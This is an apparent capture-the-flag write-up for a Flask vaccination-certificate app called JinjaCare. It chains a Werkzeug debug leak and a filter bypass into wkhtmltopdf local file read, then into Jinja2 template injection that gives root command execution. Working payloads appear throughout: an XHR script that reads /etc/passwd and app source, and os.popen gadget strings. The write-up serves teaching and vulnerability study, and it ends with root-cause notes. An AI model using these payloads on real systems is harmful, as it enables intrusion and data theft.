Summary
JinjaCare is a Flask-based COVID-19 vaccination verification web app. The intended path chains wkhtmltopdf HTML/local-file injection (via the certificate-generation feature) to disclose the Flask application source, which in turn reveals a post-substitution render_template_string() call — a textbook Server-Side Template Injection (SSTI) pattern. That SSTI is exploited via the Jinja2 sandbox-escape gadget chain (self.__init__.__globals__) to achieve remote code execution running as root.
Attack surface entry point: /verify certificate lookup led nowhere directly, but pivoting through registration → Werkzeug debug traceback → profile management uncovered the real vulnerable chain.
Recon
curl http://<MACHINE-IP>:<PORT>
The landing page identifies the app as "JinjaCare" — a COVID-19 vaccination verification platform with /monitoring, /verify, and /login routes linked in the nav. The name itself is a strong hint toward Jinja2 template injection somewhere in the app.
curl -I http://<MACHINE-IP>:<PORT>
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Tue, 14 Jul 2026 05:52:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 16518
Connection: keep-alive
Vary: Cookie
Nginx reverse-proxying a backend app (confirmed Flask later via error tracebacks).
Initial Enumeration — /verify
The /verify endpoint takes a certificate_id parameter via GET and displays a validity result:
curl "http://<MACHINE-IP>:<PORT>/verify?certificate_id=%7B%7B7*7%7D%7D"
curl "http://<MACHINE-IP>:<PORT>/verify?certificate_id=test123"
Both requests returned an identical "Invalid certificate" response with no reflection of the input — this endpoint performs a database lookup before any rendering occurs, ruling out direct SSTI here.
Forcing an Error — Werkzeug Debug Mode
Probing /register with a malformed request (JSON body against a form-expecting endpoint) triggered a full Werkzeug debug traceback:
curl http://<MACHINE-IP>:<PORT>/register -H "Content-Type: application/json" \
-d '{"username":"tester","email":"b@b.com","password":"tester123"}'
Traceback (most recent call last):
File "/usr/local/lib/python3.9/site-packages/flask/app.py", line 1488, in __call__
return self.wsgi_app(environ, start_response)
[... snipped ...]
File "/app/app.py", line 52, in register
email = request.form['email']
File "/usr/local/lib/python3.9/site-packages/werkzeug/datastructures/structures.py", line 192, in __getitem__
raise exceptions.BadRequestKeyError(key)
werkzeug.exceptions.BadRequestKeyError: 400 Bad Request
KeyError: 'email'
<script>
var CONSOLE_MODE = false,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "4689943sFJltwbtgi7z0";
</script>
The traceback confirmed:
-
Flask app, Python 3.9, source at
/app/app.py -
Werkzeug interactive debugger (
EVALEX) is enabled, protected by a PIN -
/registerexpectsemail,name,passwordform fields
The debugger PIN wasn't computable remotely at this stage (requires MAC address / machine-id not yet disclosed), so this path was set aside in favor of continuing app enumeration.
Registration & Authenticated Surface
Registering an account (POST /register with email, name, password, confirmPassword) succeeded and granted access to an authenticated dashboard at /dashboard, which links to:
-
/profile/personal— name, email, phone, address, DOB, gender, emergency contact -
/profile/medical— free-text medical record entries (condition, doctor, hospital, notes) -
/profile/vaccinations— vaccination record entries (vaccine, location, provider) -
/generate_certificate— generates a PDF vaccination certificate
name field validation on /register
Testing {{7*7}} as a registration name returned a flash message: "Name can only contain letters and spaces" — a server-side regex filter (^[a-zA-Z ]+$) blocks SSTI attempts at registration time.
Set-Cookie: session=eyJfZmxhc2hlcyI6...HPlMN2olIbpiTuNK38_0bsSg9BA; HttpOnly; Path=/
Location: /register
(decoded flash message: "Name can only contain letters and spaces")
Prefix/newline bypass attempts (test{{7*7}}, test\n{{7*7}}) were also rejected with the identical message, indicating the regex fully anchors the string.
PDF Certificate Generation — wkhtmltopdf
/generate_certificate returns a PDF built with wkhtmltopdf 0.12.6, confirmed via PDF metadata:
%PDF-1.4
1 0 obj
<<
/Title ()
/Creator (wkhtmltopdf 0.12.6)
/Producer (Qt ...
Testing medical/vaccination free-text fields for SSTI ({{7*7}} in condition, doctor, notes, location, provider) showed the literal string reflected unescaped in /profile/medical — but crucially, these fields are not used by /generate_certificate at all; the certificate only pulls the account's name field.
Bypassing the name filter via /profile/personal
The letters-only regex applied to /register is not re-applied on the profile-update endpoint (POST /profile/personal), which updates the same name column with no validation:
curl -i -s http://<MACHINE-IP>:<PORT>/profile/personal -b cookies.txt \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "name=<h1>SSTITEST123</h1>" \
--data-urlencode "email=<email>" [... other required fields ...]
curl -s http://<MACHINE-IP>:<PORT>/generate_certificate -b cookies.txt -o cert.pdf
pdftotext cert.pdf -
<h1>SSTITEST123</h1> rendered as a real heading in the resulting PDF:
JinjaCare
COVID-19 Vaccination Certificate
Name:
SSTITEST123
Official Document - 99f85f34-ca50-4b3c-b079-4c53ee358a5a
Date of Issue: 2026-07-14
Vaccination Status: Fully Vaccinated
— confirming raw HTML injection into the wkhtmltopdf rendering pipeline via the name field.
Local File Read via wkhtmltopdf
A direct <iframe src=file:///etc/passwd> was blocked at the frame-load level:
Failed to load URL file:///etc/passwd.
Frame load interrupted by policy change
WebKit Error 102
This indicates local file access is restricted at the navigation/frame-load layer — but JavaScript execution inside the rendered page is not restricted, and a synchronous XHR request to a file:// URI bypasses the navigation-level policy check:
--data-urlencode 'name=<script>var x=new XMLHttpRequest();x.open("GET","file:///etc/passwd",false);x.send();document.write(x.responseText);</script>'
Regenerating the certificate returned the full contents of /etc/passwd embedded in the PDF text:
Name: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
[... snipped, full standard /etc/passwd entries ...]
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
confirming arbitrary local file read.
Reading application source
The same technique against file:///app/app.py (path disclosed by the earlier Werkzeug traceback) dumped the complete Flask application source into the certificate PDF:
from flask import Flask, render_template, request, redirect, url_for, flash, send_file, session,
render_template_string
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
import sqlite3
from werkzeug.security import generate_password_hash, check_password_hash
from database import init_db, get_db
import re, pdfkit, os, tempfile, qrcode, io, base64, uuid, random
from functools import wraps
from datetime import datetime, timedelta
[... snipped: app init, User model, /register, /login, /dashboard routes ...]
@app.route('/generate_certificate')
@login_required
def generate_certificate():
db = get_db()
try:
cert_id = str(uuid.uuid4())
db.execute('INSERT INTO certificates (user_id, certificate_id, issue_date, status) VALUES (?, ?, datetime(\'now\'), \'valid\')', [current_user.id, cert_id])
db.commit()
[... QR code generation snipped ...]
user = db.execute('SELECT * FROM users WHERE id = ?', [current_user.id]).fetchone()
template = ""
try:
with open("templates/certificate_template.html") as r:
template = r.read()
template = template.replace("{{ certificate_id }}", cert_id)
template = template.replace("{{ name }}", user['name'])
template = template.replace("{{ status }}", "Fully Vaccinated")
template = template.replace("{{ issue_date }}", datetime.now().strftime("%Y-%m-%d"))
template = template.replace("{{ qr_code_url }}", qr_code_url)
html = render_template_string(template)
except Exception as template_error:
raise
[... pdfkit conversion, options, send_file snipped ...]
except Exception as e:
flash(f'Error generating certificate: {str(e)}', 'error')
return redirect(url_for('dashboard'))
[... snipped: /monitoring, /verify, /profile/personal, /profile/medical, /profile/vaccinations routes ...]
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0')
Root Cause — Post-Substitution render_template_string()
The disclosed source revealed the vulnerable logic in generate_certificate():
with open("templates/certificate_template.html") as r:
template = r.read()
template = template.replace("{{ name }}", user['name'])
...
html = render_template_string(template)
The user-controlled name is substituted into the template as a raw string before the entire result is passed to render_template_string(). Anything the attacker places where {{ name }} was gets re-parsed and executed as live Jinja2 syntax — this is a classic and highly exploitable SSTI antipattern, distinct from (and more dangerous than) the raw HTML injection used to reach it.
Crucially, this path bypasses the letters-only filter entirely, since that filter only exists on /register, not on /profile/personal.
Exploitation — SSTI to RCE
Confirming template execution:
--data-urlencode "name={{7*7}}"
JinjaCare
COVID-19 Vaccination Certificate
Name: 49
Vaccination Status: Fully Vaccinated
Date of Issue: 2026-07-14
→ confirms genuine Jinja2 evaluation (not string reflection).
Escaping the Jinja2 sandbox via the standard Flask gadget chain:
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
JinjaCare
COVID-19 Vaccination Certificate
Name: uid=0(root) gid=0(root) groups=0(root)
Vaccination Status: Fully Vaccinated
Date of Issue: 2026-07-14
Further confirmed with directory listing:
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}"
Name: __pycache__ app.py config.py data database.py requirements.txt reset_db.py static
supervisord.log supervisord.pid templates
Confirmed remote code execution running as root, via a one-shot request/response chain: submit payload to /profile/personal → trigger /generate_certificate → extract command output from the resulting PDF with pdftotext.
Flag
Locating the flag:
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('find / -iname \"*flag*\" 2>/dev/null').read() }}"
[... snipped: /proc and /sys false-positive paths from find ...]
/flag.txt
Reading it:
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read() }}"
HTB{REDACTED}
Attack Chain
┌─────────────────────┐
│ /register (POST) │ name field: letters-only regex enforced
└──────────┬───────────┘
│ regex blocks direct SSTI here
▼
┌─────────────────────┐
│ Malformed /register │ triggers Werkzeug debug traceback
│ request (JSON body) │ → leaks /app/app.py path, Flask/Py3.9,
└──────────┬───────────┘ EVALEX debugger enabled
▼
┌─────────────────────┐
│ Authenticated session │ register + login → /dashboard
└──────────┬───────────┘
▼
┌──────────────────────────┐
│ /profile/personal (POST) │ name field: NO validation
│ │ (filter only exists on /register)
└──────────┬─────────────────┘
▼
┌──────────────────────────┐
│ /generate_certificate │ wkhtmltopdf renders name as raw HTML
│ (wkhtmltopdf 0.12.6) │ <script> XHR bypasses file:// frame-load
└──────────┬─────────────────┘ policy → arbitrary local file read
▼
┌──────────────────────────┐
│ file:///app/app.py leaked │ reveals: template.replace("{{ name }}",
│ via XHR + document.write │ user['name']) → render_template_string()
└──────────┬─────────────────┘
▼
┌──────────────────────────┐
│ SSTI in name field │ {{7*7}} → 49 (confirmed execution)
└──────────┬─────────────────┘
▼
┌──────────────────────────┐
│ Jinja2 sandbox escape │ self.__init__.__globals__.__builtins__
│ → os.popen() │ .__import__('os').popen(cmd).read()
└──────────┬─────────────────┘
▼
┌──────────────────────────┐
│ RCE as root │ id → uid=0(root)
│ │ cat /flag.txt → HTB{REDACTED}
└──────────────────────────┘
Key Vulnerabilities
| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | Verbose debug traceback (Werkzeug EVALEX) |
Malformed request to /register
|
Discloses app source path, framework/version, internal file structure |
| 2 | Inconsistent input validation |
/register (filtered) vs /profile/personal (unfiltered) |
Same name field trusted differently depending on entry point — filter bypass |
| 3 | HTML injection via wkhtmltopdf | /generate_certificate |
Attacker-controlled HTML rendered in generated PDF |
| 4 |
file:// navigation policy bypassed via JS/XHR |
wkhtmltopdf rendering of name field |
Arbitrary local file read (LFI), used to disclose app source |
| 5 | Post-substitution render_template_string()
|
generate_certificate() in app.py
|
Full Server-Side Template Injection |
| 6 | Jinja2 sandbox escape via self.__init__.__globals__
|
SSTI payload in name field |
Remote Code Execution as root |
Notes
- The letters-only regex on
/register(^[a-zA-Z ]+$) is a good example of validation applied at the wrong layer — it protects the initial write path but is silently absent from the profile-update path that writes to the exact same database column. - wkhtmltopdf's disabling of direct
file://frame navigation is a reasonable mitigation, but it does not account for script-driven (XHR) file access within the rendered page — a gap worth checking for on any box using this rendering engine. - The root cause (
template.replace()followed byrender_template_string()) is a pattern worth recognizing on sight: any code that does string substitution into a template before invoking Jinja2's renderer effectively hands the substituted value the same execution privileges as the template author.
Top comments (0)